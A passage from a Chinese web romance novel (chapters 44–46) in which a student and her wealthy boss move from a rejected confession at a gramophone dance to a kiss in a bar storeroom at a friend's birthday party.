她朗声道:“这是清朝的薰炉,炉身外浮刻饕餮纹,活环龙钮,三足盖,承宋代传统,以玉雕仿古青铜礼器而雕刻。” 梁屿琛微微颔首,欣赏片刻,又好奇问了一句:“钟小姐能懂得这么多,请问是否专门从事古董行业?” 钟缊酌笑着解释:“我还在念书,学的也不是相关专业,严格来说只是个门外汉,全凭记忆力好。” “那也是蛮厉害的。”梁屿琛给她伸了个大拇指。 不知不觉间,已经过了一个小时,梁屿琛却仍觉得意犹未尽,他低头看了眼腕表:“秦总还冇到,我快冇时间嘞。” 钟缊酌小时候也看过一些港剧,能听得懂这句的意思,他说快没时间了。 她脱口而出:“需不需要我给秦总打个电话?” 钟缊酌从来不知道,秦拂清一直以来给了她多少偏爱,才能在此时情况下毫无顾忌地讲出这句话。 可这些放进外人眼里,就是足以令人震惊的程度了。 通常情况下,就连梁屿琛想联系秦拂清,也要先打给他的秘书。 钟缊酌瞥见对面男人眼里的诧色,恍然反应过来,或许她不应表现出和秦拂清如此熟络。 她正要再解释几句,就听到好像有人走了进来。 展览室的大门敞开着,钟缊酌下意识回身,一眼看到秦拂清那挺拔的身姿,从容沉稳地站在过道上。 他视线只在钟缊酌身上停留不过两秒,便缓缓移向旁边的男人。 “梁先生,我来迟了,抱歉。” 梁屿琛大踏步走过去,握着秦拂清的手说:“总算等到内,还恐怕今日无缘相见。” 秦拂清做了个请的手势,主动在前边带路去往会客室,似乎忘记屋里还有个人在等着他的指示。 钟缊酌就这样看着两人远去的背影,站在原地摸了摸脑袋,自言自语道,那我是回家还是等着秦总完事儿啊。 她想到梁先生刚刚说过,他快没时间了,也就是说,他们不会交谈太久。 钟缊酌决定在这等一会儿,贸然离去总归不礼貌。 大约半小时之后,秦拂清和梁屿琛一起走出会客室,秦拂清看到她还在展览室候着,似乎有些惊讶。 “说起来,我刚刚出来时看到门口有一台老式唱片机,我想问问,它还会响某? ”梁屿琛突然问一句。 秦拂清笑了下,指着钟缊酌身后的方向,“你说的是那个?” “对。” 秦拂清走过去,里面放着一张不知是哪个歌手的黑胶唱片,上面的字已经磨得不像样。 拿毛巾简单拂了拂上面的尘土,试着给它上弦,但转了两下之后,发现没什么反应。 他观察几眼之后,摇头道:“民国时期的老物件,估摸已经坏了。” 梁屿琛露出颇为遗憾的表情。 秦拂清送他出门的这会儿,钟缊酌去了会客室,将茶具拿出来清洗一遍,再放进柜子里。 等她回到展览室,秦拂清已经站在那儿,还摆弄着那台唱片机。 “秦总。”钟缊酌喊了一声。 秦拂清没抬头,只是问她:“怎么还没回家?” “您没让我走,我怕还有事。” 钟缊酌走到他旁边,默默看着他卖力地一阵捣鼓,欲言又止。 秦拂清递过来一个意味不明的眼神,忽然半开玩笑似地说了句:“我以为你在等我送你。” “我才没有呢!”钟缊酌急于撇清自己,也顾不得什么淑女形象了,“您是什么身份,我怎么敢把您当成司机!” 秦拂清挺无语的样子,“老把我当什么似的架起来,累不累。” 他语气淡下几分,故意嗤她,“那现在没事了,还不走?” 钟缊酌目光一直定在那台唱片机上,终于忍不住开口:“秦总,能不能让我试试修理它呀?” “你还会修这个?”秦拂清微微惊讶道。 钟缊酌说:“因为我爷爷也有一台手摇唱片机,我小时候总爱摆弄它玩儿,算是有些经验。” “行,你来试试。” 在秦拂清的允诺下,钟缊酌凑过来,将转盘塑料圆盘掀开,检查机芯传动皮带是否脱落,发现与主板的连接线有些松动,她又重新插拔了一下,“这里接触不实了,不确定有没有用。” 她又把里面的电机轴承拿毛巾擦了擦,全部安装回去后,说:“这次您再试试。” 秦拂清握住唱片机侧面的手摇柄,非常缓慢地,以均匀速度顺时针开始摇动起来。 七八圈过后,就在他手指松开的一刹那,悠扬的旋律也随之飘荡出。 钟缊酌拍起手,开心得像个小孩子:“看,我还是挺厉害的。” 她穿了一条带着蝴蝶图案的复古针织裙,身子一晃那蝴蝶便在眼前一摇一摇的,仿佛在跟着主人翩翩起舞。 秦拂清眸光微动,也轻声赞许:“嗯,是很厉害。” 这首歌叫月圆花好,是民国时期的歌曲,带着旧时光的风格特点,婉转细腻,浪漫,风情万种。 秦拂清心中跟着荡起一阵阵漪涟,忍不住柔声问了一句:“缊酌,我能请你跳支舞吗?” “跳、跳舞?”钟缊酌明亮的眼睛里带着些许迷茫,她没听错吧,他在开玩笑吗? 秦拂清却点头,定睛看着她说:“是。” 空气安静下来,好一会儿,钟缊酌都没再出声。 秦拂清受不了这样的沉默,紧绷着下颌,反问她:“吴少维邀请你的时候,也犹豫了这么久?” “”钟缊酌的脸不知不觉红了,她将碎发掖在耳后,“问题是这里也不够地方呀。” 秦拂清舒了口气,“等我一下。” 他右手握住摇柄,重新将弦上满,又把音量调到最大,然后牵住她的手腕说:“跟我来。” 秦拂清带着她来到院子,春风和煦的暮色里,如丝般的月光穿透薄云,洒落下来,让周围的空气都变得无比温柔。 歌声透过窗户传出,自带一股靡靡之音,在这样缱绻的氛围里,钟缊酌更是紧张得要命。 她一手搭在秦拂清的肩膀上,不敢直视他的脸庞。 她在想,和吴少维跳舞时即便别扭,好像也没有这样紧张过。 钟缊酌平直的视线里,看到男人的喉结滚了滚,随即她的另一只手便落入他的掌中,他轻轻握着,并不用力。 秦拂清的手掌很烫,烫得她大脑一片空白,那股热气一直蔓延到脸颊,脖颈,全身每一个角落。 她一定是要发烧了。 钟缊酌的眼睛里蒙上了一层水雾,凭借着身体本能反应做出动作,她不断调整着呼吸,耳边的歌声渐渐远去。 她觉得自己的身子慢慢变得轻了,在秦拂清的掌控下仿佛失去了自我,溺在一滩泥里,不断挣扎却越陷越深。 她就快要支撑不住,栽倒在他怀里。 曲子不知什么时候停了下来。 老式唱片机上满弦播放一次的时间不会超过五分钟,可就这几分钟的时间,让钟缊酌觉得是那么的漫长。 她微微颤动的手指,想要从秦拂清的掌中撤出来。却忽然被他反手一握。 “缊酌。”秦拂清眸色发沉,嗓音已变得暗哑。 他把她的手放在自己心脏位置,隔着薄薄的布料,感受着那有力的跳动。 钟缊酌惊慌失措地抬起头,正对上他那双饱含无限情意的眼睛。 “上次在球场,我知道有人背后开我的黄腔,也知道你说了那些维护我的话。” 钟缊酌不懂秦拂清为什么突然说起这个,但她已无暇思考。 她身体烫得快要自燃。 “你知道吗,我希望得到所有人的尊重,但唯独对你——” 秦拂清眼里笼罩着一层暗色,“缊酌,希望你别那么尊重我,对我能有一点邪恶的想法。” 作者有话说:注:本章古董信息均来自网络资料。 评论区掉落红包~ 第44章 夜空朗朗, 凉风扑在脸上,陡然化成一股热气。明明还未入夏,钟缊酌的鼻尖却冒出一层薄汗。 她的手在感受着对方的心跳,而他不知道, 自己此刻的心脏就像一只受惊的小鹿, 在胸腔里疯狂地乱撞。 尽管先前已有了预兆, 但当他站在自己面前,亲口说出这些话,说出这些让人脸红心跳的表白,钟缊酌还是承受不住地想要逃掉。 她用力撤出被他牢牢掌掴的左手,同时脚下往后退了一步。 “秦总, 很晚了,我想我该回家了。” 钟缊酌说完这句话, 便一脸平静地看着对方,即便眼睛里那闪烁不定的眸光几乎将她出卖。 只是她的话太过决绝, 秦拂清的胸口仿佛被刀片狠狠地刮了那么一下。 他设想过无数个场景,想象过一些动人的情话, 却没想到自己会在这个时候表白。 或许是今晚的月色太美, 亦或许是今晚的姑娘太美,美得让他失去所有理智, 只剩下了一颗情不自禁的真心。 秦拂清此时此刻, 每呼吸一口气, 每吞下一口口水, 都像有刀子在划过喉咙。 他眉眼淡淡压下来:“你很讨厌我?” 钟缊酌手指紧紧攥着裙边, 努力不让自己的声音发颤:“没有。” 秦拂清动了动唇,像是不死心:“那相处这么久,就一点儿感觉没有吗?” 但凡天色再亮那么一点儿, 他的心再冷静那么一点儿,秦拂清或许就能注意到,女孩红透了的脸颊,以及她刻意掩饰紧张的那些小动作。 可那一句委婉的拒绝,对他的打击太大,叫人没办法正常思考。 “马上要期末考试,我不想在这个时候分心。”钟缊酌咬着嘴唇说。 她找了个巨烂无比的理由,却也合适合理的理由。 话已至此,秦拂清不想再为难她。 他偏过头,只轻轻道一声:“那好,我送你回家。” 钟缊酌这一次罕见地没拒绝,说了句谢谢。 一路上,秦拂清都没怎么说过话。 他还能说什么呢?一个表白被拒心灰意冷的男人,还肯放下尊严送人回去,就已经够体面的了。 而钟缊酌整个人像是打满气的皮球,皮都快撑开了,终于被扎破了个窟窿,有机会喘口气。 她脑袋完全都是混乱的。 钟缊酌知道,她不可能对秦拂清毫无念想。 那失控的心跳,紊乱的呼吸,和身体内冒出的蒸腾热气,都在告诉自己,她确确实实心神荡漾了。 可她最终还是选择了逃避,缘于那跨不过去的阶级差,那份极度不安全感。 钟缊酌对着玻璃窗倒映出来的,那张苦涩的脸庞叹了口气。 最终还是来到了这一天。 随着轮胎发出一阵摩擦声,车子停了下来。 秦拂清开口提醒:“你到了。” “谢谢。”钟缊酌解开安全带,没急着下车,犹豫片刻,问他一句:“那个,我想请两周假可以吗?下月初就要考试,还得留出时间复习” “我给你放一个月的假,好好备考。”秦拂清不冷不热地说。 “谢谢秦总。”钟缊酌再次冲他道谢,她忽然意识到,自己似乎真的没少给他添麻烦。 “那我上去了,您路上小心。” 钟缊酌下车之后,便小跑着进了楼道,也因此没机会看到,那辆车一直在原地停了许久。 银白的月光洒在青石板上,透着温柔与宁静。 秦拂清抬头望了望天空,今晚的月色确实美,只是这份美,与他无关。 他从中控台里掏出一根烟,夹在指尖静静看了一会儿,心里琢磨,这烟怕是一时半会儿也戒不掉了- 期末复习的日子枯燥又无味,图书馆门口一大早就排起了长长的队伍,每个人的脸上都透着明显的焦躁。 钟缊酌是在某一个晴朗的夜晚,战斗完一天混着乌泱泱地人群往外走时,忽然想起今天可以查雅思成绩了。 她还是两周前去考的试,抱着誓死方休的决心,毕竟一次两千块的报名费可不是笔小数目。 钟缊酌回到宿舍,白琪也刚从自习室回来,她拿着沐浴框一边往里塞衣物,一边跟她聊天:“咱们那个机器人项目被学校放在官网首页了,听说领导给的评价挺高的。” 钟缊酌正在开电脑,顺势接了句:“嗯,我一会儿看看。” 白琪走后,她也没去学校网站,而是直接打开了雅思报名官网。 深吸一口气后,点下我的状态按钮。 屏幕上转了两秒钟,成绩界面跳出来。 钟缊酌闭了闭眼,然后看向总成绩那一栏。 显示7.5分。 她不敢相信,盯了好长时间,脉搏跳得越来越快。 确定没有看错,才终于放下鼠标,整个身子瘫在椅子上,彻底放松下来。 原本以为最多只有7分,没想到能超常发挥。 钟缊酌立即把这个好消息告诉了宋黎若和涂敬舟,没急着跟父母讲,是不想这个时候给他们压力。 晚上躺在床上,她兴奋地几乎睡不着,开始刷起手机。 想偷偷发个朋友圈庆祝,又一想算了,万一最后没留学成,白高兴一场。 钟缊酌漫无目的地往下划拉着屏幕,忽然看到某个几乎没在朋友圈出现过的名字。 在钟缊酌印象中,自从加上这位老板之后,只见过他转发过几条行业新闻。而这次同样,发的是一条关于他们学校机器人项目的报道。 她犹豫了下,还是点进去看了眼。 里面大致讲了这次项目取得了哪些成就,对行业发展起到关键性作用,最后感谢所有参与人员的付出,同时致谢了资助单位。 若是放在以前,钟缊酌定会去给他点个赞。 可如今两人的关系性质变了,她刚拒绝完人家,又上赶着给朋友圈点赞,这是要故意气死他啊。 钟缊酌退出来,越想心里越不平静。好像现在只要看到他的名字,内心都会引起一阵悸动。 她干脆也不看手机了,闭起眼睛开始数星星。 伴随着期末考试的结束,暑假也正式开始。 大家可算从那昏天暗地的日子里解救出来,宋黎若在假期的第一天就要拉着钟缊酌去逛艺术馆。 “米罗摄影艺术馆,票都烂在我手里俩月了。” 钟缊酌一听这名字,愣了愣,这不是上次吴少维想要邀请她去的地方吗? “怎么啦,没兴趣呀?”宋黎若看她发呆的样子问。 “不是,我在想明天穿什么衣服合适。” 她当时跟吴少维说没兴趣,自然也是推辞的话。钟缊酌在想,可千万不能让他知道自己后来又跟闺蜜美滋滋的去了,那会尴尬死。 米罗摄影艺术馆是一家知名蛋糕店老板开的私人展馆,里面陈列了罗先生在全球拍摄的大量自然风光和野生动物摄影作品。 艺术馆的主馆是由透明水晶玻璃建造而成,馆外设有园林景观,高山流水,山上奇松异石,湖面上游弋着黑天鹅,还有水雾氤氲在四周,美轮美奂。 “好漂亮的景色啊!我们在这里拍张照片吧。” “好呀,我想来几张合影。” 钟缊酌打量着周围路过的游客,看看是否能有人帮她们拍个全景。 “你看那个拿go pro相机的女孩,找她,绝对是专业的。”宋黎若小声说。 钟缊酌也注意到了那个女孩,穿一件浅色卫衣,两侧头发扎起,露出秀气的五官,此刻正手持相机在认真拍摄一只黑天鹅。 钟缊酌在她身后站了一会儿,直到她放下相机,才清了清嗓子,礼貌道:“你好,请问能帮我们拍张合影嘛?” 女孩转过身,眨着黑亮的眼睛:“当然可以。” 钟缊酌和宋黎若站在水雾旁边,女孩甚至热情地帮她们指挥调整位置和动作,咔咔几下之后,把手机递过来问:“看看满不满意?” 宋黎若的判断没错,她的技术的确很强,只用手机就帮两人拍出了大片的效果。 “特别满意,你真厉害!” 进入馆内,钟缊酌立即被那些五彩斑斓的照片吸引住了。 广袤无垠的草原,巍峨的雪山,自由奔跑的猎豹,她眼花缭乱地看完一张又一张,最后停留在一幅以枯树为中心,背景弥漫着红色雾气的图画旁。 “这上面的红雾是怎么拍出来的?相机加了滤镜吗?” “也有可能是后期制作的效果吧。” 钟缊酌摇头,“不知道呢。” 两人讨论半天没个结果,馆里的游客不多,方才那个替她们拍照的女孩不知什么时候也来到了这张照片面前。 “不是滤镜也不是P图。”她突然说了一句。 “嗯?”钟缊酌歪过头,饶有趣味地看着她。 梁素笑了笑,又接着补充,“是在特定场景中,比如日出或者日落,再调整好参数拍摄出来的。” “你懂得好多呀,你是专门学摄影的吗?”宋黎若好奇问。 梁素轻轻点头:“嗯,研究很多年了。” 她眼里充满着对美景的向往,“这张照片来自大西北,我明年毕业后也要去那里。” 钟缊酌和宋黎若相视一笑,那意思是说,原来她竟然跟她们是同岁呀,还真是奇妙的缘分。 两人挥手和女孩道别,又继续往里走。 等欣赏完一楼的照片,实在看得累了,便来到休息区点了些甜品和咖啡。 钟缊酌咬下一口提拉米苏,视线游离到玻璃窗外。 她盯着湖面上的黑天鹅出了神,不知在想什么。 “缊酌,我最近总有种感觉。”宋黎若端起咖啡到唇边,轻轻吹了吹。 钟缊酌还面冲着窗外,心不在焉道:“嗯?什么?” “你好像有事瞒着我。”她说。 一阵风吹过,湖面上荡起漪涟,黑天鹅张开翅膀扑腾了几下,像是在展示自己美丽的身形。 钟缊酌淡淡收回目光,尽量不显露出情绪:“怎么看出来的呢?” “你以前很少会发呆,现在恨不得天天搁那儿思考人生,有时跟你说话都听不见。” 钟缊酌嘴上默默嚼着蛋糕,心里矛盾得很。 关于秦拂清的事,她并非故意瞒着她不说,只是实在不知该怎么开口,怎样客观描述清楚这件事。 两人性子不同,出身不同,成长经历不同,宋黎若大概很难共情她的苦衷。 钟缊酌其实也挺内疚的,倘若不是秦拂清的身份特殊,她定会毫不犹豫地和她分享这些秘密。 “若若,如果我说,有些事我现在还不想讲,但有一天一定会亲口告诉你,你会体谅我吗?” 宋黎若甩了甩头发,“嗐,干嘛这么严肃呀,我又不是非要你什么都得跟我讲,谁还没点自己的隐私,我就是担心你,怕你出什么事了。” 钟缊酌心里化开一股暖意,弯了弯眼,“还是你对我最好了,放心吧,我没事的。” “嗯,那就好。” 宋黎若喝掉一杯咖啡,人也精神了许多,她忽然想起谈勉跟她叮嘱过的一件事来。 “对了,你月底三十号那天有时间吗?谈勉生日,邀请咱去一家露天式酒吧开party。” 钟缊酌垂眸,不动声色道:“倒是有时间,但我不太想去了,这段时间参加的聚会太多,有点疲惫。” 她猜想,如果是谈勉生日宴的话,秦拂清大概率也会去。 “不行呀,谈勉特意让我叫上你的。”宋黎若说。 钟缊酌有点哭笑不得:“他什么时候跟我这么熟络了?有你在不就好,非叫我干嘛呀。” “我哪儿知道。”宋黎若耸了耸肩,“他应该是把院儿里的熟人都叫上了,你不去的话,觉得过意不去吧。” 钟缊酌迟疑了好一会儿,最后回复她说:“让我考虑一下吧。” 院儿里的熟人都叫上,意思吴少维也会在,那场面就更“热闹”了。 钟缊酌想想就觉得头大。 作者有话说:评论区掉落红包~ 第45章 钟缊酌最后还是没拗过宋黎若, 答应她去参加谈勉的生日宴。 只是在挑选礼物时犯了愁。 除了涂敬舟,她还没给其他男生买过生日礼物,在网上搜寻半天也没见到合适的。 于是她打电话去请教宋黎若。 “随便买吧,一百元以下的, 贵了浪费钱。” 钟缊酌噗一下乐了, “那也不能这么敷衍呀。” 钟缊酌问她准备送什么, 宋黎若却支吾着不说。 她调侃她:“你是不是有什么秘密?” “才没有。”宋黎若转移话题道,“要不你就买个腰带吧,比较常见的礼物,不那么寒酸也不会太贵。” 反正钟缊酌也没别的主意,就直接按她说的去挑腰带了。 三十号那天下午, 她出来得有点晚。 本来想打车,一看路上又很堵, 只能改坐地铁。 钟缊酌紧赶慢赶,终于在六点整的时候, 赶到了HIDE CHILL露天酒吧。 她穿过酒吧大堂,里面几乎已经空了, 想必客人们都被安排在外面的露天区域。 钟缊酌走得太急, 没注意到柱子背面的沙发上坐了几个人。 “缊酌——” 有人喊了她一嗓子。 钟缊酌回头去看,正瞧见谈勉杵着沙发背, 冲她招了招手。 他旁边坐着的是秦拂清和一个不认识的男人。 秦拂清没看她, 和那人在热络地聊天。 钟缊酌不知道他们为什么会坐在这里, 但已经照面, 也不好直接走掉。尤其寿星还在这儿。 “抱歉, 我来晚了。”钟缊酌略显出几分局促。 “没关系,才刚开始。” 谈勉今天的穿着打扮很正式,黑裤子白衬衫, 头发也打理过了,瞧着的确很精神。 “宋黎若跟里面玩儿真心话大冒险呢,让我接应你点。”他低头看了眼她手上拎的袋子,“拿的是礼物吗?” 钟缊酌了然点头:“嗯,是。” 谈勉这人的性子,除了工作上会正经一些,生活中向来没个正形,哪怕在这种时候。 他直接接过袋子,看到上面的LOGO,惊讶到脱口而出:“腰带?” 钟缊酌不知他在吃惊什么,只一脸懵:“对啊。” 她还又强调一遍,“是男士腰带。” 谈勉不说话了,他旁边的男人却兴致昂扬地探过头来,“这位小姐是谈公子女朋友吗?” 钟缊酌瞳孔瞬间放大,赶紧摆手解释:“不是不是,我们只是普通朋友。” “哦?”邵聿钟扯出一个笑,吃瓜似地在两人身上打量个来回,脸上的表情意味深长。 而另一侧的秦拂清,也终于将注意力移到这边,掀开眼皮,不动声色地在周围逡巡一圈。 或许是避免和寿星“撞衫”,他今天特意穿了件黑衬衫,透过那双漆黑锋锐的眼睛,整个人的气势显得更加凌厉。 谈勉顿感如芒在背,汗毛直立。 他皮笑肉不笑地放下礼物袋子,心里直恨自己为什么要这么嘴欠说出来。 “一场误会,她应该不懂这腰带里面的含义,随便买的,毕竟是单身的姑娘家,能理解。” 这话是对邵聿钟解释的,也是对秦拂清解释的。 “我让服务员带你去找宋黎若。”谈勉打了个响指,很快来了一位穿着制服的工作人员,冲她做了个“请”的手势。 钟缊酌和几人礼貌告别后,便跟着那位工作人员往里走。 她心里实在纳闷儿,忍不住掏出手机上网查了查。 这一查不要紧,钟缊酌脸上立马又红了温。 原来女孩子送男生腰带,是寓意着想要束缚住对方的心,将幸福拴住,一般只有暗恋对方才会送腰带。 可她哪里会懂这些! 不止她不懂,估计连宋黎若那个小傻瓜也全蒙在鼓里,若是谈勉知道这主意是宋黎若出的,更要气死。 不一会儿,钟缊酌穿过了室内大堂,来到外面的露天区域。 一大片绿植环绕的花园里,散落着一些卡座,上面几乎坐满了人。旁边有小桥流水,玻璃栈道,柔和的灯光恰到好处地洒在墙上,制造出微醺的意境,很摩洛哥风格的设计。 谈勉似乎将整个酒吧包了下来,今晚来的都是他的客人。 钟缊酌碰见一些熟面孔就顺势打个招呼,最后她一直跟着服务员来到二层的露台上。 应该是有人大冒险输了,在那儿唱着情歌。 那姑娘明显五音不全,还扯着嗓子喊,一首情歌愣生生被她唱出了金戈铁马的气势。 宋黎若见到钟缊酌,过来就拉住她说:“快来,六缺一。” 一桌人半熟半生的,钟缊酌坐在中间自我介绍了一下,大家也不过多客气,直接开了下一局。 卡牌上都有设置好的任务,钟缊酌上来就抽中一张真心话,上面写着:近期是否有被异性表白过? 钟缊酌大脑“嗡”地一下。 众人已经开始起哄,就连宋黎若都是一副看好戏的姿态,一点儿也没有要帮她的意思。 “快说快说,要异性的表白,不能是女生哦。” “我觉得一年两年内的都可以,毕竟跟二十年的人生比也算近期嘛。” 钟缊酌手掌托腮,闭上眼睛开始绞尽脑汁思考。 其实非要说谎也没人知道,只是这样做未免太没信用。 半分钟之后,她睁开眼睛,扬了扬唇角说:“大概两个月之前吧,我在网上随手帮一个小学生解了道题,看头像是男孩,一直疯狂给我比心。” “切——” 众人嘘声一片,想来没料到这也能被糊弄过去。 两轮之后,宋黎若又“幸运”地抽中一张真心话,写的是最喜欢的动漫人物是谁。 这个问题没什么爆点,大家也没太在意。 “我没有喜欢的动漫人物。”她轻描淡写地说。 这时候突然有人指出:“不对啊若若,我记得你以前喜欢过加野呢,现在不喜欢了?” 加野是某个动漫里人气超高的一个男性角色,最大的特点是肤色是小麦色。 不要说别人,这件事连钟缊酌都不知道,她也从来没跟她提过。 宋黎若含糊着说那都是很久以前的事情了,早就不喜欢了。 这段小插曲谁都没放在心上,只是因这个特殊的肤色,让钟缊酌不由得联想到了某个人。真会有这么巧的事吗 接下来的几轮,钟缊酌运气不错,没有抽到带任务的卡。 她本想在没做太丢人的举动之前赶紧撤,结果最后这一张就翻到个大冒险:抓住一个路人大喊,你是我失散多年的兄弟/姐妹,并邀请TA来喝一杯。 其实不算多夸张的任务,但对于钟缊酌来说,也是相当羞耻的了。 “这里没有路人,就从邻桌挑一位幸运儿吧。”一个女生提出建议。 她站起来,看向旁边那一桌,发现竟然没一个熟人。 钟缊酌略显尴尬地摸摸头发,踌躇半天,选中一个面容比较和善的女孩。 正要走过去,忽然不知从哪里冒出只手来,一下子抓住了她的胳膊。 “你们就别折磨老实人了,她不适合玩这种游戏。”是吴少维的声音。 “想英雄救美啊,那你替他来。”人群里有人说。 吴少维径直走到邻桌的一个男生身边,拍拍他的肩膀大声说出那句话,然后又叫他过来喝酒。 看那人面带微笑淡定如常的反应,两人应该是认识的。 “切,没意思啊,作弊。” 吴少维也没反驳,笑着说:“我替她做完了,可以放人了吧。” “走吧走吧,过你们的二人世界去吧。”宋黎若揶揄道。 她不知道钟缊酌听到这句话,差点儿飞奔过去给她锁喉。 这会儿天色已经暗了下来,花园里布置的装饰灯更加显眼,星星点点地从角落里照射出来。 距离切蛋糕仪式还有一个小时,两人顺着台阶而下,来到玻璃栈道上看风景。 “缊酌,你想好去哪个学校了吗?”吴少维主动搭起话。 钟缊酌那双明媚的眼睛里透着温柔与坚定:“嗯,想好了,去帝国理工。” “不错啊,挺厉害的。” 吴少维稍顿片刻,舔了舔干燥的嘴唇,“那毕业后是打算在那边发展了吗?” “当然不是,我肯定要回国的,我不习惯国外的文化和生活方式,况且家人还在这边。” 吴少维像是松了口气,跟着说了几句认同的话。 他忽然扯开话题,“对了,你平时喜不喜欢喷香水?” 钟缊酌一时间没懂他什么意思,默了默才说:“偶尔喷吧。” 吴少维兴致勃勃道:“我一直在用的这家香水牌子也有女士款,下次可以给你带来试试” 他话还没说完,突然从不远处传来一声惊呼。 “哎呀,秦先生,您流血了!” 声音就在两人身后隔了三四个卡座的位置。 虽然不知发生了什么,但钟缊酌听到这一声称呼,丝毫没犹豫,直接转身跑了过去。 甚至没搭理吴少维下意识喊出的那句,“缊酌,等等——” 暖黄的灯光下,她一眼看到秦拂清坐在沙发边缘,身子向前躬着,一只手搭在膝盖处。 上面一大片鲜红的血迹正往下流。 钟缊酌瞬间倒吸了一口凉气。 见他竟然还面无表情地只用一只手捂住伤口,也不管那它,干等着服务员来。 钟缊酌赶紧拿起桌上的餐帕,简单帮他包扎了一下。 钟缊酌的语气里有不自知地心疼:“怎么弄的啊。” 对面的男人撇开视线,像是懒得解释那么多,只淡淡回一句:“不小心弄的。” 这话说了跟没说一样。 钟缊酌轻轻叹气,经过旁人的口述,才大概了解到事情的经过。 原来是几个姑娘想给寿星活跃下气氛,临时从网上买了一箱子彩带喷筒,一旁的秦拂清见了就很绅士地表示要帮她们拆包装。 或许是视线不够清楚,结果那一剪子下去,直接把自己的手划了一个大口子。 “有人去拿药了吗?” “已经让服务员去了。” 这时有位服务生急匆匆跑过来,冲一帮人说:“刚才有人受伤了是不是?麻烦带他到屋里上药吧,在外面伤口容易感染” 钟缊酌没来得及想太多,直接扶起秦拂清受伤的那边胳膊,自告奋勇道:“走吧,我带他去。” 于是服务员走在前面,穿过毫不知情热热闹闹的人群,将两人领到了一间储物室。 今天来的客人多,所有沙发和椅子都搬到了室外,唯有这里还剩了一把长木椅。 她指着眼前有些发旧的箱子,“这是我们经理刚刚翻出来的药箱,里面有一些止血消炎的药膏和纱布,桌上的矿泉水可以清理伤口,你们看看还缺什么。” 钟缊酌扫了一眼说:“不缺了,谢谢。” “好的,如果还有什么需要请随时呼叫我们。” 这服务员也是雷厉风行的性子,话刚说完就直接退了出去,将门一关,留下屋子里略显尴尬的两人。 等空气寂静下来,一股无言的暧昧氛围飘散在四周。 钟缊酌才意识到自己又冲动行事了。 她咽了咽嗓子,假装什么都没发生,淡定地去翻药箱。一边找药一边自言自语:“这箱子看起来有些年份了,药不会都过期了吧。” 过了一会儿后,那个男人才轻声开口,一副破罐子破摔的口吻:“随便吧,反正我也没得选。” 钟缊酌没听出他话里有话,还嗔怪他:“那也不能太随便啊,过期的药会加重伤口恶化的。” 她翻出一只抗生素软膏,特意去看了眼有效日期,“还好没过期,就它吧。” 她将手帕慢慢掀开,血已经暂时止住了,只是那整个手掌已经被染成了红色。 钟缊酌轻轻皱起眉,“疼不疼啊。” “疼。”秦拂清不假所思道。 “你给我吹吹。”他说。 不知是否因秦拂清总习惯摆出这副波澜不惊的样子,看他的神情,是完全没感觉到疼。 钟缊酌佯装什么都没听到,开始给他清理伤口。 她清软的眸子里,映着一片温柔,模样认真而专注,秦拂清忍不住在她耳边吹风:“吴少维刚刚跟你说了什么。” “没说什么,就随便聊聊。”钟缊酌未抬头。 秦拂清问得很直白:“你喜欢他吗?” 钟缊酌心跳乱了一拍,顿了顿,拆开棉签开始给他抹药。 “不喜欢。”她说。 秦拂清继续追击:“那你知道他喜欢你吗?” “怀疑过,但没确定。”钟缊酌呼吸也不自然了。 这次秦拂清没再扰她,安静等着,直到看着她一点一点地将那只手缠好。 他动了动喉咙,了然瞧着她,“你若真对我没一点感觉,为什么不利用吴少维摆脱我,还冲过来做什么?” 钟缊酌心乱如麻。 秦拂清察言观色的本事她是知道的,她心里揣着的那些小心思,怎么能逃得出他的火眼金睛? 只要略施小计,就能将她透视得一览无余。 钟缊酌说不出话来,秦拂清握住她的手,她想要撤出,却发现他用的是受伤的手,于是不敢动了。 “缊酌,我知道你心里在想什么。” 钟缊酌终于慢慢抬起头,和他对视。 那双暗沉如水的眼睛里藏着万般情愫,她几乎就要控制不住地栽倒进去。 “我想告诉你,不要在意那些世俗的东西,也不要对我抱有偏见。我一样是人,是一个会渴求爱的男人。” 他的脸距离她不过几寸,俊朗的五官清晰映入眼底,他只要稍稍向前,就能吻上她的唇。 “你还有什么想问的,我一一回答。” 钟缊酌的身体内有一股热流在涌动,嚅嗫着发出声音,“秦总——” “叫我名字。” 她眼睫止不住地乱颤:“秦拂清,你对我究竟有几分真心,我看不真切。” 两人的呼吸声交缠在一起。 钟缊酌一边听着自己如雷的心跳,一边听那个男人低哑的嗓音在耳边作响:“我有几分真心,你不试试怎么知道。” 作者有话说:评论区掉落红包~ 第46章 空气里弥漫着浓烈的暧昧和焦灼, 谁都没再说话,钟缊酌心底泛潮,不自觉地向后仰了仰。 两人之间的那份安全距离一旦被打破,她知道自己即将毫无招架之力, 会失去所有理智, 瘫倒在他的温柔蛊里。 而她的半推半就, 让对面向来冷静克制的男人欲望彻底崩坏。 他腾开另一只手扣住钟缊酌的后脑勺,倾身吻了上去。 唇间一股热气袭来,柔软细腻的触感,瞬间麻痹了钟缊酌的神经。 她慌乱地发出一声呜咽,脸色潮红, 胸口也跟着起伏起来。 耳边是两人急促的呼吸声,钟缊酌闭上眼睛, 感受着身体内像岩浆一样的热流在涌动。 第一次接吻,她紧张地双手不知放在哪里是好, 几次不小心蹭到秦拂清的腰带和小腹,勾得对方快要把持不住。 “别乱摸。”他喘着气警告, 最后终于被秦拂清捉住环上他的腰间, 她也不敢用力,只虚虚地扶着。 储物室的隔音不算多好, 恍惚之中, 门外传来一阵脚步声, 钟缊酌似乎听到有人在讲话。 “他们进来多久了?” “大概有五十分钟。” 隔着一道门, 别人的声音或许钟缊酌分辨不出, 但她对宋黎若的音色太过熟悉。她大脑“嗡”地一下,她是不是来找他们的? 钟缊酌猛地推开对面的男人,慌慌张张地站起来整理裙摆, 气息还未喘匀,门就被推开了。 “缊酌,仪式马上就要开始——” 宋黎若的话落下一半,她一眼望见对面的两人,一个脸颊微微泛着红,双手扣在裙边,略显僵硬地站在木椅旁。另一个则靠坐在椅子上,架着二郎腿,手上裹有绷带,姿态透露出几分散漫痞气之相。 这副场景乍一看,像是两人刚刚打了一架,正要握手言和,被忽然闯入的外人截了停。 当然,更有可能是另一种不可描述的情况。 宋黎若好歹是见过大世面的人,很快压下心中的震颤,眼珠滴溜溜地转。 在想是善解人意地重新关上门,还是假装什么都没看到,继续讲她没说完的话。 “我知道了,我们这就过去。”钟缊酌抢先一步作了答,像是生怕她再说出什么惊世骇俗的话来。 “好嘞,那我就不打扰——” “那我就先去那边帮忙啦。” 宋黎若眉飞色舞地冲她挤了挤眼,脚步轻快地转身飞奔而去。 而钟缊酌的脸也随着好友的离去愈发滚烫,红得像是滴了血。 